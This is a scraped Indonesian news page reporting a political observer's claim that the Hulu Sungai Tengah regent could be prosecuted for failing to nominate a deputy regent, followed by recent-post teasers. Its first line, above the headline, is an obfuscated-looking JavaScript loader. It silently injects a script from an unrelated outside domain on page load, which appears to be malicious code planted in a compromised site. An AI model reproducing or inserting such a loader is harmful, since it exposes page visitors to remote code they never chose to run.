(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Kunjung Tetapkan Siapa Pendamping, Bupati HST Bisa Dipidanakan?


BANJARMASIN, Pengamat sosial politik, DR Samahudin Muharram menilai Bupati Hulu Sungai Tengah (HST), Chairansyah telah melanggar UU No 10/2016 tentang Penetapan Peraturan Pemerintah Pengganti UU No 1 tahun 2014 tentang Pemilihan Gubernur, Bupati, dan Walikota.

Menurut Samahudin, pelanggaran itu dengan jelas dapat dilihat dari sikap Chairansyah yang tak kunjung mengusulkan calon Wakil Bupati ke DPRD HST.

“Padahal partai pengusung sudah bersurat dan mengusulkan dua calon yaitu Faqih Jarjani dan Berry Nahdian Furqan pada tanggal 22 Mei 2019. Namun hingga kini tak diusulkan, artinya Chairansyah sebagai bupati sengaja melalaikan itu. Ini sudah bisa dikategorikan menghalang-halangi orang untuk menjadi bupati atau wakil bupati,” ujar Samahudin kepada wartawan, Sabtu (29/6/2019).

Ditambahkannya, pelanggaran yang dilakukan Chairansyah tersebut sangat serius yaitu berkonsekuensi hukum berupa pidana kurungan minimal 3 tahun dan maksimal 8 tahun.

“Ini harus tegas, DPRD dan masyarakat HST harus tegas, laporkan ke polisi. Agar orang yang menjadi bupati itu tidak semena-mena seolah paling berkuasa,” tegasnya.

Ditanya wartawan kemungkinan kesengajaan Bupati HST yang tidak mengusulkan wakilnya, Samahuddin menyebutkan unsur kesengajaan itu sudah tampak kasat mata.

“Aparat hukum hanya perlu mencari notifnya apa? Apakah dia hanya ingin berkuasa sendirian atau ada pihak lainnya yang mengendalikan dia di luar sana. Ini yang perlu diusut setelah dilaporkan nanti,” kata mantan Ketua KPUD Kalsel ini.

Samahudin menyebut, ‘keengganan’ Bupati HST Chairansyah dalam mengusulkan calon wakil bupati ke DPRD tidak bisa disebut hanya sekadar urusan administratif. Terapi, ada sudah pelanggaran UU yang berdampak atau berakibat hukum.

“Karena tidak ada alasan bikin surat berbulan-bulan. Itu kesengajaan. Langkah keliru itu. Apalagi saat ditanya anggota DPRD saat paripurna, (dia) sengaja tidak menjawab. Jadi itu jelas, orang seperti itu layak dipidanakan. Aparat kepolisian juga harus proaktif,” tandasnya. (bie)

Reporter:Bie
Editor:Bie

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

5 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

6 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

6 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

6 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

7 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

10 jam ago

This website uses cookies.